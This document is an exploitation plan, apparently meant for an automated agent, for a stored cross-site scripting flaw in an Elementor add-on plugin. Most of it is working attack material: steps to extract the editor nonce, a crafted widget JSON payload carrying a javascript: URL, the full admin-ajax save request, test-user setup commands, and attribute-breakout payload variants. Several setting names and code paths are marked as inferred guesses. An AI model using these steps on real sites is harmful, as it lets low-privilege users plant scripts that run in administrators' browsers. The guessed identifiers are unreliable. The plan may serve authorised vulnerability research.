Exploitation Research Plan: CVE-2025-14149 (Xpro Addons for Elementor)

1. Vulnerability Summary

The Xpro Addons — 140+ Widgets for Elementor plugin (up to version 1.4.24) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists within the Image Scroller widget. Specifically, the "box link" attribute fails to undergo proper sanitization (via esc_url) or output escaping (via esc_attr or Elementor's add_link_attributes method). This allows an authenticated user with at least Contributor permissions to inject malicious scripts (e.g., javascript:alert(1)) into the link attribute of the widget, which then executes in the browser of any user (including admins) viewing the affected page.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php via the elementor_ajax action.
• Vulnerable Attribute: The url field within the box_link (inferred name) setting of the xpro-image-scroller (inferred slug) widget.
• Authentication: Authenticated, Contributor+ level. Contributors in WordPress can edit posts and use the Elementor editor, making them capable of adding or modifying widgets.
• Preconditions: The Xpro Addons plugin must be active, and Elementor must be enabled for the post type being edited.

3. Code Flow (Inferred)

1. Input: A Contributor user saves an Elementor page containing the Image Scroller widget. The link URL is sent in the JSON payload of the elementor_ajax request.
2. Persistence: Elementor's core Save_Builder handler receives the JSON and updates the _elementor_data post meta for that page/post. No specific sanitization is performed on the URL at this stage by the plugin.
3. Sink (Rendering):
   • File: widgets/image-scroller/widget.php (or similar path in xpro-elementor-addons).
   • Function: render() or content_template().
   • Logic: The code retrieves the widget settings using $this->get_settings_for_display().
   • Vulnerable Line: The "box link" URL is likely echoed directly inside an <a> tag's href attribute or used in a way that allows javascript: protocol execution.
   • Example of vulnerable logic:

     $link = $settings['box_link']['url']; // Inferred identifier
     echo '<a href="' . $link . '">...</a>'; // Missing esc_url()
     

4. Nonce Acquisition Strategy

To exploit this via the Elementor Editor as a Contributor, we need the Elementor-specific AJAX nonce.

1. Setup: Create a page and enable Elementor: wp post create --post_type=page --post_status=publish --post_title='XSS Test' --post_content=''.
2. Navigate: Use browser_navigate to go to the Elementor editor for that page: /wp-admin/post.php?post=[POST_ID]&action=elementor.
3. Extraction: The nonce required for elementor_ajax is usually found in the elementorCommonConfig or elementorConfig global JS objects.
4. JS Command:

   browser_eval("elementorCommon.config.ajax.nonce")
   

   Alternative: If navigating the editor is too heavy, the nonce is often present in the page source of the editor as editor_post_nonce.

5. Exploitation Strategy

The goal is to update the post's Elementor data to include the malicious Image Scroller widget.

1. Step 1: Obtain the Post ID and Nonce.
2. Step 2: Construct the Elementor Data Payload.
   We need a valid _elementor_data JSON structure. A simplified version for the xpro-image-scroller:

   [
     {
       "id": "random_id",
       "elType": "section",
       "elements": [
         {
           "id": "random_id_2",
           "elType": "column",
           "elements": [
             {
               "id": "vulnerable_widget_id",
               "elType": "widget",
               "widgetType": "xpro-image-scroller",
               "settings": {
                 "image_scroller_link": {
                   "url": "javascript:alert(document.domain)",
                   "is_external": "",
                   "nofollow": "",
                   "custom_attributes": ""
                 }
               }
             }
           ]
         }
       ]
     }
   ]
   

3. Step 3: Send the HTTP Request.
   Use http_request to hit the elementor_ajax endpoint.
   • URL: http://[TARGET]/wp-admin/admin-ajax.php
   • Method: POST
   • Headers: Content-Type: application/x-www-form-urlencoded
   • Body:

     action=elementor_ajax&
     _nonce=[EXTRACTED_NONCE]&
     actions={"save_builder":{"action":"save_builder","data":{"post_id":[POST_ID],"data":[URL_ENCODED_JSON_ABOVE]}}}
     

6. Test Data Setup

1. User: Create a Contributor user.
   wp user create exploit_user exploit@example.com --role=contributor --user_pass=password
2. Post: Create a page for the Contributor.
   wp post create --post_type=page --post_status=publish --post_author=[USER_ID] --post_title='XSS Page' --post_content=''
3. Plugin Config: Ensure xpro-elementor-addons is active.

7. Expected Results

• The server should return a 200 OK with a JSON body indicating success: true for the save_builder action.
• When navigating to the public URL of the created page, the source code should contain:
  <a href="javascript:alert(document.domain)" ...>
• Clicking the image scroller box (or it triggering automatically if implemented via listeners) will execute the JavaScript.

8. Verification Steps

1. Database Check:
   wp post meta get [POST_ID] _elementor_data
   Verify the JSON contains javascript:alert(document.domain).
2. Frontend check:
   Use http_request to fetch the page content and grep for the payload:
   grep "javascript:alert" response_body.txt

9. Alternative Approaches

• Direct Post Meta Update (if permissions allow): If the Contributor can update post meta via a different vulnerable endpoint or if testing locally, use wp post meta update [POST_ID] _elementor_data '[JSON_PAYLOAD]'.
• Payload Variants:
  • If javascript: is blocked but attribute breakout is possible:
    "url": "http://example.com\" onmouseover=\"alert(1)\""
  • If the widget uses a different setting name for the link, look for link, url, or website in the widget's register_controls method within the plugin source.
• Inferred Setting Names: If image_scroller_link fails, the setting identifier in Xpro Addons might be simply link or box_link. (The term "box link" in the CVE description strongly suggests a setting ID like box_link).